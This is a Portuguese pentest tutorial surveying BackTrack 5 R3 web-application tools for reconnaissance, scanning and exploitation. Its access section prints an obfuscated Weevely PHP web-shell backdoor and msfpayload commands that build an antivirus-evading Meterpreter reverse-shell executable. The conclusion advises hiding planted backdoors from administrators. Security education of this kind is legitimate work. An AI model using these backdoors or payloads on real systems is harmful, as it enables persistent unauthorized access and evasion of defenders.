[Teste de Invasão - Ethical Hacking] Análise Web – Avaliação de Vulnerabilidade – Exploração
Hoje em dia como muitos de nós sabemos que nestes tempos de Análise Web Application desempenha um papel importante em fazer uma avaliação de segurança e / Penetration Testing, pois isso nos dá as informações corretas sobre a aplicação web, como por exemplo o tipo de Plugin utilizados, tipo CMS Joomla – WordPress e outros.
Isso vai nos ajudar a determinar que exploit devemos usar, ou ver a maneira exata de como explorar as vulnerabilidades que podem ocorrer quando estiver realizando os testes de penetração.
Para isso usaremos BackTrack 5 R3, uma distribuição Linux baseada no Ubuntu feito perfeitamente para realizar estes testes, como ele vem com um conjunto de ferramentas muito importantes que servirá muito para obter todas as informações necessárias.
Métodos de análise de aplicações web:
Network Mapping
CMS Identification
IDS/IPS Detection
Open Source Analysis
Web Crawlers
Vulnerability Assessment and Exploitation
Maintaining Access
Network Mapping:
Network Mapping é o estudo da conectividade de rede física. Internet Mapping é o estudo da ligação física da Internet. Network Mapping geralmente é para determinar os servidores e sistemas operacionais rodando em redes.
A lei e a ética de varreduras de portas são complexas. A análise da rede pode ser detectado por seres humanos ou sistemas automatizados, e é tratado como um ato malicioso.
Na suíte BackTrack inclui NMAP, uma ferramenta que todos nós sabemos de seu poder e eficiência no uso, no qual no serve muito para levar a sério este método tão importante em uma Auditoria web.
Nmap:
Nmap (Network Mapper) é uma ferramenta de código aberto projetado para explorar e realizar auditorias de segurança em uma rede de computadores.
Esta ferramenta é muito usada por pentesters ao realizar os testes de penetração.
CMS IDENTIFICATION:
Blindelephant
CMS-explorer
Whatweb
BlindElephant:
BlindElephant é uma ferramenta baseada em python que é utilizada para Fingerprinting em aplicações Web.
A ferramenta é rápida, tem largura de banda baixa e é altamente automatizado.
use:
/pentest/web/blindelephant/src/blindelephant# ./BlindElephant.pyhttp://site.com/ cms
CMS-Explorer:
É uma outra ferramenta baseada em Perl usada para fazer Fingerprinting em aplicações Web como também pode ser usado para identificar o tipo de CMS utilizada, por tanto, se realiza o ataque de acordo com a informação obtida.
use:
/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://site.com/-type cms
WhatWeb:
É uma outra ferramenta usada para identificar o tipo de sistemas de gerenciamento de conteúdo (CMS), plataforma de blog, estatísticas, bibliotecas javascript e servidores usados. Tem 900 Plugins para fins de análise da web.
IDS-IPS DETECTION:
Durante a realização de uma VA/PT em um domínio, existe a possibilidade de que o IDS-IPS estão instalados, isso às vezes pode parar vários tipos de ataques no domínio.
Um monte de WAF são vendidos para empresas como uma técnica de sucesso para mitigar as vulnerabilidades em aplicações web.
Felizmente, WAF é fácil de detectar, porque a maioria dos métodos de detecção destas utilizações se baseia em assinaturas, por isso, o atacante pode tentar codificar os parâmetros e tentar um bypass ao WAF.
Na distribuição do BackTrack inclui duas ferramentas úteis para a detecção de IDS-IPS, que são:
Waffit
UA-Tester
Waffit:
É uma ferramenta que detecta os possíveis Firewall que você pode ter em um servidor web, isto serve muito para detectar a segurança do servidor por trás do domínio é um passo muito importante em um processo de testes de penetração.
UA-Tester:
Esta ferramenta é projetada para verificar automaticamente se uma URL é especificada usando uma lista Standar o No-Standar User-Agent fornecido pelo usuário (1 por linha).
OPEN SOURCE ANALYSIS:
Open-Source Analysis é realizada utilizando ferramentas como GHDB, revhosts, XSSed e Maltego. O GHDB (Google Hack Data Base) e XSSed estão vinculados aos web sites, enquanto os dois outros são ferramentas de console.
GHDB:
Google Hacking database, a equipe do exploit-db mantém uma base de dados para google dorks que pode ajudar muito a Pen-testers na coleta de informações. Podemos usar as dorks para encontrar certos tipos de servidores vulneráveis ou outras informações.
Por exemplo, um google dork como intitle “Microsoft-IIS/6.0″ intitle:index.of “ pode ser usado para detectar o servidor com o Microsoft IIS 6.0.
XSSed:
Xssed.com é outro site que tem uma lista de sites vulneráveis a Cross Site Scripting, por vários autores.
Ele pode ser aberto a partir de: Applications – Backtrack – Information Gathering – Web Application Analysis – Open Source Analysis – Xssed.
Revhosts:
Revhosts é um projeto escrito em Python que é utilizado para coleta de dados (ou seja, o host, VirtualHost, a entrada DNS, diretórios, endereço, sub-rede, etc) Esta ferramenta é tanto a GUI usuário e á console.
Localizado em:
Applications – BackTrack – Information Gathering – Web Application Analysis – Open Source Analysis – Revhosts.
WEB CRAWLERS:
Nesta última categoria de análise da Web, se utiliza os famosos Crawlers, isso vai ajudar muito a enumerar arquivos “escondidos” dentro de um servidor web.
A distribuição BackTrack tem muitas ferramentas para realizar este tipo de análise, como a DIRB, Golismero, SQLScan, Deblaze e WebShag.
WebShag tem opções como escaneamento de portas, coleta de informações básicas, spider e fuzzing.
Localizado em:
Applications – BackTrack – Information Gathering – Web Application Analysis – Web Crawlers – WebShag Gui.
VULNERABILITY ASSESSMENT AND EXPLOITATION:
A fase de avaliação de vulnerabilidade é o lugar onde você pode explorar a nossa meta em busca de erros, mas antes fazer uma avaliação de vulnerabilidade, coleta de informações sobre o alvo é muito mais útil.
A fase de coleta de informação continua a ser o passo chave antes de mais ataques, simplesmente porque ele torna o trabalho mais fácil, por exemplo, na primeira fase na utilização dos scanners para identificar o CMS como BlindElephant, foi examinada e descobriu a versão do aplicativo instalado.
Agora, na fase de avaliação de vulnerabilidade, você pode usar muitas ferramentas (scanners) que vão ajudar muito a encontrar respectiva vulnerabilidades em servidores web específico, tais como:
Joomscan:
É uma ferramenta baseado em Perl que é usado para identificar vulnerabilidades conhecidas como SQL Injection, XSS e outras, em servidores web baseados na plataforma Joomla.
use:
SqlMap:
Sqlmap é uma ferramenta open source que ajuda a automatizar o processo de detecção e exploração de vulnerabilidades de injeção SQL, permitindo acesso total ao banco de dados de servidores web.
Fimap:
Fimap é uma pequena ferramenta programado em python que pode encontrar, preparar, auditar e explotar automaticamente erros de Remote File Inclusion em aplicações web. Fimap deve ser algo como sqlmap apenas para LFI/RFI em vez de injeção de SQL. Está atualmente em desenvolvimento, mas é utilizável. O objetivo do Fimap é melhorar a qualidade e segurança do seu site.
use:
TheHarvester:
TheHarvester é uma ferramenta para coletar contas de e-mail, nomes de usuário e nomes de host ou subdomínios de diferentes fontes públicas, tais como motores de busca e os servidores de chave PGP.
use:
./theharvester.py -d microsoft.com -l 500 -b google
./theharvester.py -d microsoft.com -b pgp
./theharvester.py -d microsoft -l 200 -b linkedin
Shodan:
Este é outra ferramenta de avaliação web, uma utilidade particular para pentesters. Ele pode ser utilizado para a coleta de uma série de informação inteligênte sobre os dispositivos que estão ligados à Internet. Podemos, por exemplo, olhar para ver se todos os dispositivos de rede como roteadores, VoIP, impressoras, câmeras, etc estão no lugar. Para saber se o serviço está em execução no domínio,
a sintaxe seria:
Se desejamos simplesmente conhecer os resultados sobre o nome do host, a sintaxe seria:
W3af:
W3af é uma ferramenta de auditoria de segurança para aplicações web, é basicamente dividido em vários módulos, tais como auditoria, ataque, Exploit, descoberta e Evasão Brute Force, que podem ser usados em conformidade.
Estes módulos em w3af vem com vários módulos secundário, por exemplo, pode-se selecionar o módulo de Auditoria XSS assumindo que é necessária a realização de uma auditoria particular.
Localizado em:
Applications – BackTrack – Vulnerability Assessment – Web Application Assessment – Web Vulnerability Scanners – w3af
Quando a análise estiver concluída, w3af mostra informações detalhadas sobre as vulnerabilidades encontradas no site especificado, que se pode comprometer em consequência de uma exploração adicional.
Uma vez que uma vulnerabilidade é encontrada, podemos configurar os plugins em um módulo “Exploit” e realizar novos ataques, que podem nos ajudar a obter uma WebShell no site alvo. Outra grande vantagem é que w3af também vem com MSF para tomar o ataque para o próximo nível.
Uniscan:
Uniscan é um scanner de vulnerabilidade Web. Ele está licenciado sob a GNU General Public License 3.0 (GPL 3).
Uniscan é desenvolvido em Perl, tem fácil manuseio de expressões regulares e também é multi-threaded.
Nikto:
Nikto é um scanner de servidor web que realiza testes abrangentes contra servidores web para vários itens, incluindo mais de 6.500 arquivos/CGIs potencialmente perigosas, os controles de versões desatualizadas de mais de 1250 servidores, e os problemas específicos da versão de mais de 270 servidores. Ele também verifica os elementos de configuração do servidor, tais como a presença de vários arquivos de índice e opções de servidor HTTP.
Localizado em:
Applications – BackTrack – Vulnerability Assessment – Web Application Assessment – Web Vulnerability Scanners – Nikto
Use:
/pentest/web/nikto# ./nikto.pl -host ww.site.com
MAINTAINING ACCESS:
Depois de ter acesso ao site (Alvo), temos de manter o acesso para uso futuro, porque não vamos começar do zero sempre. Para evitar isso, nós podemos carregar as Shell’s web ou portas traseiras na página web.
A codificação da porta traseira também é importante, para não criar o “ruído” quando carregado no servidor. Se sim, então os administradores podem facilmente detectar e remover as portas traseiras.
Na distribuição do BackTrack 5 R3 boas ferramentas são incorporados para a realização deste processo, que são:
Weevely:
Weevely é uma ferramenta essencial para a exploração posterior de aplicações web, e pode ser usado como uma porta traseira ou como uma Shell web para gerenciar as contas web. Weevely procura funções como ssystem(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()) usando funções ativadas em um servidor remoto. O código a seguir é um exemplo do código do backdoor criado por Weevely.
————————————————————————
eval(base64_decode(‘cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwk
YSk7IGlmKHJlc2V0KCRhKT09J2luJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGZv
c2VjPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luK
GFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9mb3NlYz4nO30=’));
————————————————————————
Localizado em:
Applications – BackTrack – Maintaining Access – Web BackDoors – Weevely
Use:
/pentest/backdoors/web/weevely# ./weevely.py generate password /root/back.php (Criará seu backdoor)
MsfPayload:
Metasploit pode ser usado para criar backdoors que podem então ser utilizados para manter o acesso ao servidor web. Isto pode ser feito com a ajuda do msfpayload.
Os passos para criar msfpayload backdoor são os seguintes:
Temos que escolher o Payload que vamos utilizar para obter uma shell Meterpreter gerado através de uma conexão TCP reverso.
msfpayload windows/meterpreter/reverse_tcp
Este Payload tem dois parâmetros: LHOST (nosso IP) e LPORT para selecionar a porta que vai usar. O “R” é usado para o arquivo de saída no formato de dados RAW para que possamos então codificar.
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R
Este comando irá criar o Payload, mas tem que ser codificados para evitar a detecção pelo antivírus para isso usamos a opção msfencode, para fazer isso precisamos usar a barra vertical (“|”)
windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode –e x86/shikata_ga_nai –t exe >> bucker.exe
-e Se usa para especificar a codificação necessária, neste caso eu estou usando a codificação shikata_ga_nai -t para a extensão do tipo de arquivo (exe).
Por exemplo, se queremos ver a lista de disponíveis codificadores MSF, use o seguinte comando:
msfpayload windows/meterpreter/reverse_tcp -l
CONCLUSÃO:
Estes são apenas alguns métodos que você pode seguir para fazer a exploração de vulnerabilidades em uma aplicação web. Uma vez que tenhamos as informações sobre o nosso objetivo, tentar executar uma avaliação de vulnerabilidade a fim de obter informações sobre os exploits que podem ser usados. Uma vez feito, explorar as vulnerabilidades e se necessário, coloque um backdoor, mas antes disso, você deve codificar o backdoor para evitar a detecção.
Ref: CalebBucker